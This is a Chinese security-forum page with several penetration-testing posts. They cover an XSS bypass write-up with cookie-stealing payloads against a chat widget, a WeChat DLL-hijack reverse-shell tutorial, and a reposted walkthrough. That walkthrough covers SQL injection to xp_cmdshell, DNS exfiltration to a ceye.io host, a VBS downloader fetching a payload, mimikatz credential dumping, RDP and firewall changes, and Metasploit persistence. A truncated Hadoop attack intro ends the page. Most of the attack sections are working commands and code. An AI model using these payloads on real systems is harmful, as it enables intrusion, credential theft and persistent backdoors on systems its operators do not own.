赛克艾威漏洞预警(5月23-5月29号)

漏洞预警ypk 发表了文章 • 0 个评论 • 3999 次浏览 • 2020-05-29 15:36 • 来自相关话题

赛克艾威漏洞预警(5月16-5月22号)

漏洞预警ypk 发表了文章 • 0 个评论 • 3924 次浏览 • 2020-05-22 21:07 • 来自相关话题

赛克艾威漏洞预警(5月9-5月15号)

漏洞预警ypk 发表了文章 • 0 个评论 • 3910 次浏览 • 2020-05-15 20:49 • 来自相关话题

赛克艾威漏洞预警(5月2-5月8号)

漏洞预警ypk 发表了文章 • 0 个评论 • 3964 次浏览 • 2020-05-08 17:18 • 来自相关话题

棒打某客服系统的反射xss,去获取客服账号权限

Web安全渗透lzy_smile 发表了文章 • 0 个评论 • 4507 次浏览 • 2020-05-05 22:13 • 来自相关话题

在三月份的某次测试中,测试到深夜,无果,我一般习惯扒拉扒拉自己的xss平台,(因为它有时候没有提醒),我就看到了一个没有见过的域名被打过来.





我当时凌乱了,这那来的站,没测啊,这个域名,我访问了返回的location字段打过来的域名,很棒的原谅绿.这个颜色我测过.





扒拉了许久,找到了这个页面(这个是我测试注册的号.不是百度,大佬轻喷)





众所周知,我们遇见了某个网站的客服系统时,势必要去x它,正常输入一个<img/src=1>,哇,裂图了,恭喜,喜提一枚xss漏洞,






 
标签没有正常解析,像这样.





唉,关机,不测了,又是零漏洞的一天.
 
我当时捋了捋思路,既然打过来了cookie,肯定哪里出了问题.
1.留言的时候有xss
2.聊天时有xss漏洞
我只是在这两点插入了js代码.难道是?留言处,
这个第三方组件很有趣,我直接找到了官网,可以注册使用,当即注册了一个账号测试.深入测试一下到底哪里出了问题.
我看到后台的xss代码在留言处并没有解析,那么试试聊天处.
我就这样打开了页面.(左边管理员,右边测试窗口.)





 
然后我就发现了猫腻,客户输入的时候, 他会解析输入的标签内容





既然以及解析了标签,那么离xss漏洞就剩一步了,先弹个窗试试.
第一次测的时候,竟然直接在这解析了<script>标签.这没什么好说的,收集一波案例先交上去,审核通过,
-----------------------------------------手动分割线-------------------------------
时隔一月,某平台又上新一任务,我发现又有这个系统,但此时不能直接解析<script>标签.onerror,onmouseover,onload,onmouserout等等自动触发xss代码的语句都被拦截了.
4-14号绕过,未对onclick这样的点击触发的事件进行拦截.
<img/src=1 onclik=alert(1)>测试成功,然后这个组件,第一次测得时候,没有深入去找給其它厂商的服务.某滴,某丰,某B.
除了某B的直接找到了,其它的后来和这个产品的客户经理在聊的时候,原来用的是用这个公司其它的产品.
空欢喜,
再接着去看客户案例时,我震惊了.用的厂商有点多.但是现在已经不能自动触发了,想着去让客服点击的时候,我想了几个方案,
1.<voide>标签可以解析,能够加载个视频.(加载个小视频,诱导客服点击很好用,)
2.<input>标签里面的onfocus事件可以加载js,
3.<marquee>标签走马灯标签可以在火狐浏览器加载onstart事件.
这三个事件基本够用了,
但是你直接输入这些标签,效果是这样的,并没有解析





但是我加了个img/src=1(有点东西,这神马玩意,这就解析了)










 
 

4-14号绕过payload:
12113imG/srC=1<Marquee style="background-color:red" onsTart=prompt(1)>asdf</marquee>

121111211121img/src=1<video id="video1" controls="controls" onclick=prompt(1))> <source src="https://www.w3school.com.cn/example/html5/mov_bbb.mp4" type="video/mp4"> </video>

你好1imG/SRc=1<inpuT autofocus onfocus=prompt(document.cookie)//
 
然后又等了几天,发现平台发布的某个任务系统也用了它的系统但是开发又修了,4-14号的paylaod已经不足以构成xss漏洞了.
所以4-18号绕过.
这次是对img src onclik onstart onfocus 等的小写事件进行拦截,无法加载.
很常规的进行大小写绕过,(对不起开发)
绕过paylaod
你好1imG/SRc=1<inpuT autofocus onfocuS=prompt(document.cookie)//
 
这次某平台的业务需要证明能够获取到页面数据,或者进行后台登陆,证明这个对他们有危害才算可以,那我这么菜.......
凌晨两点的我很惆怅,到嘴的鸭子就要飞了.然后求助,在神秘的A师傅的帮助下,第二天如愿以偿的获取到了页面数据,此时,它的密码是存储到了页面上,明文传输,客服系统就这样沦陷了,沦陷了.....





高危一枚!
 
思考:
1.测试的时候,遇见第三方组件,如果主站没有搞头,就去试试第三方组件,会有不少的收获
2.对于xss漏洞,不能仅限于设置httponly这些,像这个系统的明文传输密码,就是一个利用方法
3.对于测试过的漏洞,最好隔段时间去复测一下 查看全部
在三月份的某次测试中,测试到深夜,无果,我一般习惯扒拉扒拉自己的xss平台,(因为它有时候没有提醒),我就看到了一个没有见过的域名被打过来.

1.png

我当时凌乱了,这那来的站,没测啊,这个域名,我访问了返回的location字段打过来的域名,很棒的原谅绿.这个颜色我测过.

2.png

扒拉了许久,找到了这个页面(这个是我测试注册的号.不是百度,大佬轻喷)

3.png

众所周知,我们遇见了某个网站的客服系统时,势必要去x它,正常输入一个<img/src=1>,哇,裂图了,恭喜,喜提一枚xss漏洞,


4.png

 
标签没有正常解析,像这样.

5.png

唉,关机,不测了,又是零漏洞的一天.
 
我当时捋了捋思路,既然打过来了cookie,肯定哪里出了问题.
1.留言的时候有xss
2.聊天时有xss漏洞
我只是在这两点插入了js代码.难道是?留言处,
这个第三方组件很有趣,我直接找到了官网,可以注册使用,当即注册了一个账号测试.深入测试一下到底哪里出了问题.
我看到后台的xss代码在留言处并没有解析,那么试试聊天处.
我就这样打开了页面.(左边管理员,右边测试窗口.)

6.png

 
然后我就发现了猫腻,客户输入的时候, 他会解析输入的标签内容

7.png

既然以及解析了标签,那么离xss漏洞就剩一步了,先弹个窗试试.
第一次测的时候,竟然直接在这解析了<script>标签.这没什么好说的,收集一波案例先交上去,审核通过,
-----------------------------------------手动分割线-------------------------------
时隔一月,某平台又上新一任务,我发现又有这个系统,但此时不能直接解析<script>标签.onerror,onmouseover,onload,onmouserout等等自动触发xss代码的语句都被拦截了.
4-14号绕过,未对onclick这样的点击触发的事件进行拦截.
<img/src=1 onclik=alert(1)>测试成功,然后这个组件,第一次测得时候,没有深入去找給其它厂商的服务.某滴,某丰,某B.
除了某B的直接找到了,其它的后来和这个产品的客户经理在聊的时候,原来用的是用这个公司其它的产品.
空欢喜,
再接着去看客户案例时,我震惊了.用的厂商有点多.但是现在已经不能自动触发了,想着去让客服点击的时候,我想了几个方案,
1.<voide>标签可以解析,能够加载个视频.(加载个小视频,诱导客服点击很好用,)
2.<input>标签里面的onfocus事件可以加载js,
3.<marquee>标签走马灯标签可以在火狐浏览器加载onstart事件.
这三个事件基本够用了,
但是你直接输入这些标签,效果是这样的,并没有解析

8.png

但是我加了个img/src=1(有点东西,这神马玩意,这就解析了)

9.png


10.png

 
 

4-14号绕过payload:
12113imG/srC=1<Marquee style="background-color:red" onsTart=prompt(1)>asdf</marquee> 

121111211121img/src=1<video id="video1" controls="controls" onclick=prompt(1))> <source src="https://www.w3school.com.cn/example/html5/mov_bbb.mp4" type="video/mp4"> </video>

你好1imG/SRc=1<inpuT autofocus onfocus=prompt(document.cookie)//

 
然后又等了几天,发现平台发布的某个任务系统也用了它的系统但是开发又修了,4-14号的paylaod已经不足以构成xss漏洞了.
所以4-18号绕过.
这次是对img src onclik onstart onfocus 等的小写事件进行拦截,无法加载.
很常规的进行大小写绕过,(对不起开发)
绕过paylaod
你好1imG/SRc=1<inpuT autofocus onfocuS=prompt(document.cookie)//
 
这次某平台的业务需要证明能够获取到页面数据,或者进行后台登陆,证明这个对他们有危害才算可以,那我这么菜.......
凌晨两点的我很惆怅,到嘴的鸭子就要飞了.然后求助,在神秘的A师傅的帮助下,第二天如愿以偿的获取到了页面数据,此时,它的密码是存储到了页面上,明文传输,客服系统就这样沦陷了,沦陷了.....

11.png

高危一枚!
 
思考:
1.测试的时候,遇见第三方组件,如果主站没有搞头,就去试试第三方组件,会有不少的收获
2.对于xss漏洞,不能仅限于设置httponly这些,像这个系统的明文传输密码,就是一个利用方法
3.对于测试过的漏洞,最好隔段时间去复测一下

赛克艾威漏洞预警(4月25-5月1号)

漏洞预警ypk 发表了文章 • 0 个评论 • 3994 次浏览 • 2020-05-03 21:04 • 来自相关话题

微信dell劫持反弹shell

渗透测试ypk 发表了文章 • 0 个评论 • 470 次浏览 • 2020-04-28 17:00 • 来自相关话题

dll劫持原理
DLL劫持指的是,病毒通过一些手段来劫持或者替换正常的DLL,欺骗正常程序加载预先准备好的恶意DLL。

如下图,LPK.dll是应用程序运行所需加载的DLL,该系统文件默认在C:\Windows\system32路径下,但由于windows优先搜索当前路径,所以当我们把恶意LPK.dll放在应用程序同一路径下,便会被程序成功加载,从而执行恶意操作。





 
漏洞复现
一、环境搭建
kali 安装The-Backdoor-Factory
 
win7 安装微信(版本2.6.8),ProcessExplorer (任务管理工具,看到当前系统中所有运行的程序(在溯源、任务管理中很好用)
 
二、复现过程
1、win7打开ProcessExplorer,打开微信,并在ProcessExplorer点击菜单栏中的View --> Lower Pane View --> DLLs





打开过后就能看到很多dll后缀文件,这些.dll文件就是当前微信在启动过程中所需要动态链接库文件。





2、在ProcessExplorer找到安装在微信里面的动态链接库文件,选择libEGL.dll动态链接库文件,找到libEGL.dll文件所在位置,将libEGL.dll文件拷贝到kali中的The-Backdoor-Factory后门工具所在的文件夹内,并关闭微信





3、在kali中,从终端进入The-Backdoor-Factory后门工具所在的文件夹内
./backdoor.py //检查工具是否可用




上图可以看到,工具不可以,没有名字为capstone的模板
使用pip安装模板
pip intall capstone 安装capstone模板4、 ./backdoor.py -f libEGL.dll -s reverse_shell_tcp_inline -P 6666 -H kali的IP
-f 后跟要注入的文件
-s 反弹shell,后跟反弹什么类型的shell
-P 反弹给哪个端口,后跟端口
-H 反弹给哪个主机,后跟IP















在kali中找到backdoored文件,进入文件内可找到libEGL.dll文件





5、将被注入后门的动态链接库文件libEGL.dll拷贝到Win7系统中,将原来的libEGL.dll覆盖
开启postgresql数据库和Metasploit
/etc/init.d/postgresql start 开启postgresql数据库
msfconsole 开启Metasploit




6、加载exploits和payloads
use exploit/multi/handler 选择exploits
set payload windows/shell_reverse_tcp 设置payloadset lhost kali的IP 设置监听地址
set lport 6666 设置监听端口
run 或者exploit 运行攻击模块7、打开Win 7系统,打开微信,然后打开kali就可以得到Win 7的shell




 
工具链接
Process Explorer v16.31 https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer​
  查看全部
dll劫持原理
DLL劫持指的是,病毒通过一些手段来劫持或者替换正常的DLL,欺骗正常程序加载预先准备好的恶意DLL。

如下图,LPK.dll是应用程序运行所需加载的DLL,该系统文件默认在C:\Windows\system32路径下,但由于windows优先搜索当前路径,所以当我们把恶意LPK.dll放在应用程序同一路径下,便会被程序成功加载,从而执行恶意操作。

`M4_LATK08~Z7H22H2)H{M7.png

 
漏洞复现
一、环境搭建
kali 安装The-Backdoor-Factory
 
win7 安装微信(版本2.6.8),ProcessExplorer (任务管理工具,看到当前系统中所有运行的程序(在溯源、任务管理中很好用)
 
二、复现过程
1、win7打开ProcessExplorer,打开微信,并在ProcessExplorer点击菜单栏中的View --> Lower Pane View --> DLLs

7BN1E5N7OBMA(3YK_7(@5{U.png

打开过后就能看到很多dll后缀文件,这些.dll文件就是当前微信在启动过程中所需要动态链接库文件。

9DM1H2V0KI8IOJ~KA{K3_2.png

2、在ProcessExplorer找到安装在微信里面的动态链接库文件,选择libEGL.dll动态链接库文件,找到libEGL.dll文件所在位置,将libEGL.dll文件拷贝到kali中的The-Backdoor-Factory后门工具所在的文件夹内,并关闭微信


3、在kali中,从终端进入The-Backdoor-Factory后门工具所在的文件夹内
./backdoor.py   //检查工具是否可用

4[J72LP(ON513HVW{{PQ6PE.png

上图可以看到,工具不可以,没有名字为capstone的模板
使用pip安装模板
pip intall capstone  安装capstone模板
4、
 ./backdoor.py -f libEGL.dll -s reverse_shell_tcp_inline -P 6666 -H kali的IP
-f 后跟要注入的文件
-s 反弹shell,后跟反弹什么类型的shell
-P 反弹给哪个端口,后跟端口
-H 反弹给哪个主机,后跟IP

Q3~9VUT@8]X(L7A_}I7J78N.png



1.png


2.png

在kali中找到backdoored文件,进入文件内可找到libEGL.dll文件

]T)K3_PA(HW~(C[H9A81B.png

5、将被注入后门的动态链接库文件libEGL.dll拷贝到Win7系统中,将原来的libEGL.dll覆盖
开启postgresql数据库和Metasploit
/etc/init.d/postgresql start  开启postgresql数据库
msfconsole 开启Metasploit

EF(J~W92[IU_MBTDQ6@5N.png

6、加载exploits和payloads
use exploit/multi/handler  选择exploits
set payload windows/shell_reverse_tcp 设置payload
set lhost kali的IP  设置监听地址
set lport 6666 设置监听端口
run 或者exploit 运行攻击模块
7、打开Win 7系统,打开微信,然后打开kali就可以得到Win 7的shell
B]Q`(N2()V57MJ(9)NDB}8U.png

 
工具链接
Process Explorer v16.31 https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer​
 

记一次渗透实战(转)

渗透测试jizi_smile 发表了文章 • 0 个评论 • 551 次浏览 • 2020-04-26 21:44 • 来自相关话题

一.信息收集
用dirsearch扫了一波目录没有发现什么东西






 
直接用主站域名解析的ip访问发现主站是挂有cdn的
 





 subDomainsBrute 扫描子域名






 
其中一个子域没挂CDN,由此找到网站的真实ip
 





 
得到真实ip后nmap扫描发现8099端口有个未知应用






访问发现是个WEB服务,一个登陆界面
 二.漏洞利用
趁nmap还在工作的时候,简单浏览了下网站的功能,伪静态,整个网站也没有什么动态功能






 
遂把目光放在了nmap扫出的8099端口的web服务






 
 
常规测试admin/admin,提示密码错误






 
l3yx/xxxx,账号不存在






 
那么可以确定的是这里的账号和密码验证是分开的,确有admin账号。而且没有验证码,理论上可以爆破了,但我只手动测试了常见的几个弱口令,无果。
当输入一个单引号时(admin'/123123) ,惊喜来了,此处存在sqli!






于是很熟练的构造"万能密码",admin/x' or 'x'='x--
 





然后反应过来了,之前测试发现账号密码验证是分开的,后台的账号密码验证肯定并非 where username=xxx and password=xxx 这种简单的sql语句,所以继续测试观察报错信息












账号密码的验证貌似是调用了储存过程,类似如 execute @result= verify 'xxx','xxx';
当账号密码为admin/11','xx'--时,页面返回正常






由于不是很熟悉sqlserver使用存储过程的注入,想尝试构造出能成功登陆的payload没有成功,就换种思路。
sqlserver是默认可以堆叠查询的,所以只要把之前的语句闭合,那么就可以在其后执行任意sql语句,能执行任意sql语句,那么同样利用存储过程就可以执行系统命令
第一步先用如下语句开启扩展存储过程EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;






执行系统命令exec master..xp_cmdshell "whoami"
这里是不会有回显的命令执行结果的,所以用ping命令来判断命令执行结果












三. 命令执行结果DNS带外 
有时候能执行命令却看不见结果也是很难受的,这里我还是想能够观察到命令执行结果,用到DNS带外的方法,其实就下面一条命令cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.xxx.ceye.io && nslookup !FINAL!"
实际测试的时候爬了很多坑,当前执行目录可能没有写权限,换到D目录
目标服务器貌似没有nslookup,换成ping
&&这两个字符一定要编码,否则被WEB服务器当做参数分隔符了
生成的temp文件要删除,否则下次执行会失败
sqlserver中一对双引号其中的双引号用两个双引号代替
 
最后的paylaodexec master..xp_cmdshell "whoami>D:/temp%26%26certutil -encode D:/temp D:/temp2%26%26findstr /L /V ""CERTIFICATE"" D:/temp2>D:/temp3";
exec master..xp_cmdshell "cmd /v /c""set /p MYVAR=< D:/temp3 %26%26 set FINAL=!MYVAR!.xxx.ceye.io %26%26 ping !FINAL!""";
exec master..xp_cmdshell "del ""D:/temp"" ""D:/temp2"" ""D:/temp3""";


















没想到直接就是system权限
四. 写入VBS下载木马
cmd命令行做不到下载文件,使用powershell容易被杀毒软件拦截,在该服务器上测试powershell命令也不成功,所以就用vbs来下载文件
vbs下载文件脚本:

iLocal = LCase(WScript.Arguments(1))
iRemote = LCase(WScript.Arguments(0))
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET",iRemote,0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile iLocal,2



用法:cscript D:/l.vbs http://xx.xx.xx.xx/x.exe D:/x.exe
所以先得利用sql注入执行命令把该脚本一点点写入文件,如下echo iLocal = LCase(WScript.Arguments(1))>D:/l.vbs
echo iRemote = LCase(WScript.Arguments(0))>>D:/l.vbs
echo Set xPost = CreateObject(""Microsoft.XMLHTTP"")>>D:/l.vbs
echo xPost.Open ""GET"",iRemote,0 >>D:/l.vbs
echo xPost.Send() >>D:/l.vbs
echo Set sGet = CreateObject(""ADODB.Stream"")>>D:/l.vbs
echo sGet.Mode = 3 >>D:/l.vbs
echo sGet.Type = 1 >>D:/l.vbs
echo sGet.Open()>>D:/l.vbs
echo sGet.Write(xPost.responseBody)>>D:/l.vbs
echo sGet.SaveToFile iLocal,2 >>D:/l.vbs
注意以上命令是不能全部用&&连接起来一起输入的,因为参数限制最大长度为 128,还有在sqlserver中双引号内输入双引号是需要输入两个双引号的,并不是用\转义,如图


















在执行 cscript D:/l.vbs http://ip/x.exe D:/x.exe 命令后,看到服务器日志确有下载记录






说明vbs脚本写入成功而且确实下载了文件,但是执行 D:/x.exe 后没有收到shell怀疑是杀毒软件给拦了,但我确实做过免杀啊...
后来检查发现,该服务器是32位系统,而我用的是64位的payload,自然不会成功,后面换成32位的,成功弹回shell






 五.信息收集ipconfig
查了一下ip,发现处在内网






 
查看域用户net group /domain
有中文乱码,本来想用chcp 65001切换成UTF-8代码页,但只要切换成UTF-8 shell就断,不知具体原因。不过utf-8不行的话chcp 437切换到IBM437英语好了
看到这里是没有域的,有点小失望






 
查看系统基本信息systeminfo






 
查看端口,没开3389netstat -ano






 
查看相邻主机IParp –a






抓用户hash












解密不成功的话可以用mimikatz直接抓取明文,metasploit已经内置,可以直接加载load mimikatz
然后用kerberos命令抓取
或者用mimikatz_command执行mimikatz命令mimikatz_command -f sekurlsa::logonPasswords






 六.连接3389
目标3389是没有开启的,不过Win7、Win2003、XP系统可用如下命令直接开启REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f


















关闭防火墙:netsh firewall set opmode mode=disable
尝试关闭防火墙后还是连接不成功
测试发现3389端口仍然为closed






真是被自己蠢到了...
这台服务器是在内网,要连接自然的先把端口转发到公网上啊
metasploit端口转发:portfwd add -l 3389 -p 3389 -r 192.168.50.2
这句命令是将目标(-r 192.168.50.2)的3389端口(-p 3389)转发到我服务器的3389端口(-l 3389)






然后打开远程桌面连接,ip即为我服务器的公网ip,端口由于也是设置的3389,所以不用改






 七.内网扫描
要对目标内网进行扫描需要先添加一下路由run autoroute -s 192.168.50.2/24






 
 
使用metasploit的portscan扫描一下内网存活的主机use auxiliary/scanner/portscan/tcp
set rhosts 192.168.50.2/24set ports 139, 445
exploit






有点慢呢,最后扫了一半还没发现其他主机就放弃了
 八.权限维持metasploi Metsvc模块
这个使用很简单run metsvc






其实是给目标开了一个服务






连接的话使用exploit/multi/handler模块,payload设置为windows/metsvc_bind_tcp,设置目标ip和绑定端口31337
 metasploi Persistence模块run persistence -U -i 60 -p 5555 -r xx.xx.xx.xx



-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息
-i:设置反向连接间隔时间,单位为秒;
-p:设置反向连接的端口号;
-r:设置反向连接的ip地址






 清除脚本在下图位置






若要清除后门,在meterpreter运行该脚本即可




 
转自:(www.cnblogs.com/leixiao-/p/10865160.html) 查看全部
一.信息收集
用dirsearch扫了一波目录没有发现什么东西

11.png


 
直接用主站域名解析的ip访问发现主站是挂有cdn的
 
12.png


 subDomainsBrute 扫描子域名

13.png


 
其中一个子域没挂CDN,由此找到网站的真实ip
 
14.png


 
得到真实ip后nmap扫描发现8099端口有个未知应用

15.png


访问发现是个WEB服务,一个登陆界面
 二.漏洞利用
趁nmap还在工作的时候,简单浏览了下网站的功能,伪静态,整个网站也没有什么动态功能

21.png


 
遂把目光放在了nmap扫出的8099端口的web服务

22.png


 
 
常规测试admin/admin,提示密码错误

23.png


 
l3yx/xxxx,账号不存在

24.png


 
那么可以确定的是这里的账号和密码验证是分开的,确有admin账号。而且没有验证码,理论上可以爆破了,但我只手动测试了常见的几个弱口令,无果。
当输入一个单引号时(admin'/123123) ,惊喜来了,此处存在sqli!

25.png


于是很熟练的构造"万能密码",admin/x' or 'x'='x--
 
26.png


然后反应过来了,之前测试发现账号密码验证是分开的,后台的账号密码验证肯定并非 where username=xxx and password=xxx 这种简单的sql语句,所以继续测试观察报错信息

27.png



28.png


账号密码的验证貌似是调用了储存过程,类似如 execute @result= verify 'xxx','xxx';
当账号密码为admin/11','xx'--时,页面返回正常

29.png


由于不是很熟悉sqlserver使用存储过程的注入,想尝试构造出能成功登陆的payload没有成功,就换种思路。
sqlserver是默认可以堆叠查询的,所以只要把之前的语句闭合,那么就可以在其后执行任意sql语句,能执行任意sql语句,那么同样利用存储过程就可以执行系统命令
第一步先用如下语句开启扩展存储过程
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',  1;RECONFIGURE;


210.png


执行系统命令
exec master..xp_cmdshell "whoami"

这里是不会有回显的命令执行结果的,所以用ping命令来判断命令执行结果

211.png



212.png


三. 命令执行结果DNS带外 
有时候能执行命令却看不见结果也是很难受的,这里我还是想能够观察到命令执行结果,用到DNS带外的方法,其实就下面一条命令
cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.xxx.ceye.io && nslookup !FINAL!"

实际测试的时候爬了很多坑,当前执行目录可能没有写权限,换到D目录
目标服务器貌似没有nslookup,换成ping
&&这两个字符一定要编码,否则被WEB服务器当做参数分隔符了
生成的temp文件要删除,否则下次执行会失败
sqlserver中一对双引号其中的双引号用两个双引号代替
 
最后的paylaod
exec master..xp_cmdshell  "whoami>D:/temp%26%26certutil -encode D:/temp D:/temp2%26%26findstr /L /V ""CERTIFICATE"" D:/temp2>D:/temp3";
exec master..xp_cmdshell "cmd /v /c""set /p MYVAR=< D:/temp3 %26%26 set FINAL=!MYVAR!.xxx.ceye.io %26%26 ping !FINAL!""";
exec master..xp_cmdshell "del ""D:/temp"" ""D:/temp2"" ""D:/temp3""";


31.png



32.png



33.png


没想到直接就是system权限
四. 写入VBS下载木马
cmd命令行做不到下载文件,使用powershell容易被杀毒软件拦截,在该服务器上测试powershell命令也不成功,所以就用vbs来下载文件
vbs下载文件脚本:


iLocal = LCase(WScript.Arguments(1))
iRemote = LCase(WScript.Arguments(0))
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET",iRemote,0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile iLocal,2




用法:cscript D:/l.vbs http://xx.xx.xx.xx/x.exe D:/x.exe
所以先得利用sql注入执行命令把该脚本一点点写入文件,如下
echo iLocal = LCase(WScript.Arguments(1))>D:/l.vbs
echo iRemote = LCase(WScript.Arguments(0))>>D:/l.vbs
echo Set xPost = CreateObject(""Microsoft.XMLHTTP"")>>D:/l.vbs
echo xPost.Open ""GET"",iRemote,0 >>D:/l.vbs
echo xPost.Send() >>D:/l.vbs
echo Set sGet = CreateObject(""ADODB.Stream"")>>D:/l.vbs
echo sGet.Mode = 3 >>D:/l.vbs
echo sGet.Type = 1 >>D:/l.vbs
echo sGet.Open()>>D:/l.vbs
echo sGet.Write(xPost.responseBody)>>D:/l.vbs
echo sGet.SaveToFile iLocal,2 >>D:/l.vbs

注意以上命令是不能全部用&&连接起来一起输入的,因为参数限制最大长度为 128,还有在sqlserver中双引号内输入双引号是需要输入两个双引号的,并不是用\转义,如图

41.png



42.png



43.png


在执行 cscript D:/l.vbs http://ip/x.exe D:/x.exe 命令后,看到服务器日志确有下载记录

44.png


说明vbs脚本写入成功而且确实下载了文件,但是执行 D:/x.exe 后没有收到shell怀疑是杀毒软件给拦了,但我确实做过免杀啊...
后来检查发现,该服务器是32位系统,而我用的是64位的payload,自然不会成功,后面换成32位的,成功弹回shell

45.png


 五.信息收集
ipconfig

查了一下ip,发现处在内网

51.png


 
查看域用户
net group /domain 

有中文乱码,本来想用chcp 65001切换成UTF-8代码页,但只要切换成UTF-8 shell就断,不知具体原因。不过utf-8不行的话chcp 437切换到IBM437英语好了
看到这里是没有域的,有点小失望

52.png


 
查看系统基本信息
systeminfo


53.png


 
查看端口,没开3389
netstat -ano


54.png


 
查看相邻主机IP
arp –a


55.png


抓用户hash

56.png



57.png


解密不成功的话可以用mimikatz直接抓取明文,metasploit已经内置,可以直接加载
load mimikatz

然后用kerberos命令抓取
或者用mimikatz_command执行mimikatz命令
mimikatz_command -f sekurlsa::logonPasswords


58.png


 六.连接3389
目标3389是没有开启的,不过Win7、Win2003、XP系统可用如下命令直接开启
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f


61.png



62.png



63.png


关闭防火墙:
netsh firewall set opmode mode=disable

尝试关闭防火墙后还是连接不成功
测试发现3389端口仍然为closed

64.png


真是被自己蠢到了...
这台服务器是在内网,要连接自然的先把端口转发到公网上啊
metasploit端口转发:
portfwd add -l 3389 -p 3389 -r 192.168.50.2

这句命令是将目标(-r 192.168.50.2)的3389端口(-p 3389)转发到我服务器的3389端口(-l 3389)

65.png


然后打开远程桌面连接,ip即为我服务器的公网ip,端口由于也是设置的3389,所以不用改

66.png


 七.内网扫描
要对目标内网进行扫描需要先添加一下路由
run autoroute -s 192.168.50.2/24


71.png


 
 
使用metasploit的portscan扫描一下内网存活的主机
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.50.2/24set ports 139, 445
exploit


72.png


有点慢呢,最后扫了一半还没发现其他主机就放弃了
 八.权限维持metasploi Metsvc模块
这个使用很简单
run metsvc 


81.png


其实是给目标开了一个服务

82.png


连接的话使用exploit/multi/handler模块,payload设置为windows/metsvc_bind_tcp,设置目标ip和绑定端口31337
 metasploi Persistence模块
run persistence -U -i 60 -p 5555 -r xx.xx.xx.xx



-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息
-i:设置反向连接间隔时间,单位为秒;
-p:设置反向连接的端口号;
-r:设置反向连接的ip地址

83.png


 清除脚本在下图位置

84.png


若要清除后门,在meterpreter运行该脚本即可
85.png

 
转自:(www.cnblogs.com/leixiao-/p/10865160.html)

赛克艾威漏洞预警(4月18-4月24号)

漏洞预警ypk 发表了文章 • 0 个评论 • 219 次浏览 • 2020-04-26 20:23 • 来自相关话题

初探 Hadoop 集群安全(转)

渗透测试flaray 发表了文章 • 0 个评论 • 426 次浏览 • 2020-04-26 10:04 • 来自相关话题

原文:https://mp.weixin.qq.com/s/UbXlHsXrCEQFydrwuQHEMA
最近因为某些原因学习接触到了开源的大数据框架:Hadoop,该框架允许使用简单的编程模型跨计算机集群对大型数据集进行分布式处理。它旨在从单个服务器扩展到数千台机器,每台机器都提供本地计算和存储,详细概念知识背景我这就不介绍了,各位自行学习。
所以自己启发了这个大数据的框架是否有安全问题,毕竟Hadoop在大型企业是很常见的(之前参与某单位渗透测试也碰见过),可能有同学没见过,这是因为Hadoop一般在内网中部署,业务端口不对外的,估如果没进行到内网横向渗透阶段是比较难见到的。
本文技术含量可能不高,攻击手法等均非原创,写本文的出发点是自己遇到的时候百度相关漏洞,知识点过于零散且这块资料较少,所以本文进行了搜集整理,实现一些复现,让各位在内网渗透的过程中如果遇到以最少的时间成本、不需要深入了解hadoop即可实现攻击、拿到权限的目的。

Hadoop 是个生态圈,非单一软件,而是由 HDFS、YAERN、MapReduce、Zookeeper、Hbase 等组件提供支持。

环境准备及说明
hadoop 版本: 2.7.1(节点) 2.7.7(kali攻击机) 
目前最新稳定版本已经为 3.2.1,在 3.x 系列下未试验过不保证均存在以下安全问题。
采取完全分布式模式部署
管理 Hadoop 的用户名:hadoop
 主机名Ip功能master192.168.1.200主节点(管家角色、管理从节点)slave1192.168.1.201从节点1kali192.168.1.8kali攻击机
 设置 Hadoop 攻击环境
提前设置工作环境以执行某些特定的攻击
1、下载 Hadoop 安装包

wget https://mirrors.tuna.tsinghua.edu.cn/apache/hadoop/common/hadoop-2.7.7/hadoop-2.7.7.tar.gz

2、解压

tar xvf hadoop-2.7.7.tar.gz

3、设置JAVA_HOME环境变量

export JAVA_HOME=/usr/lib/jvm/java-7-openjdk-i386

4、(可选)将Hadoop的bin路径添加到PATH环境变量

export PATH=$PATH:/opt/hadoop-2.7.7/bin

5、测试

hadoop version

6、下载 Hadoop 攻击包(后续使用)

git clone https://github.com/wavestone-cdt/hadoop-attack-library.git

Hadoop 存在的安全问题汇总1、信息收集
获取目标环境配置
必须在客户端 (kali) 的不同文件中配置几个集群参数,才能与 Hadoop 集群进行交互。
在内网中如何确定某台机器为Hadoop两种办法:
1、通过端口探测的方式(nmap),
2、通过 http 访问某些业务端口确定hadoop





 
1、在 Hadoop 攻击包中存在 HadoopSnooper,该脚本允许攻击者通过Hadoop组件的 Web 界面上公开的配置文件轻松检索合适的最小客户端配置。
我这边的话就不采取脚本的方式而是手工的方式(初次手工熟悉过程).
进入在kali中hadoop的配置目录: <hadoop_installation>/etc/hadoop
2、手工访问8088或50070、8042、16010等端口查看 conf 配置,脚本就是爬取 hadoop 配置生成到本地,实现自动化。
hadoop 相关端口详情后面介绍,打开下面的链接:

http://192.168.1.200:50070/conf






 
我们先提取fs.defaultFS保存到本地core-site.xml文件内(conf 内存在大量 Hadoop 的配置信息,这边算是信息泄露一个点,无验证即可访问到。)





 
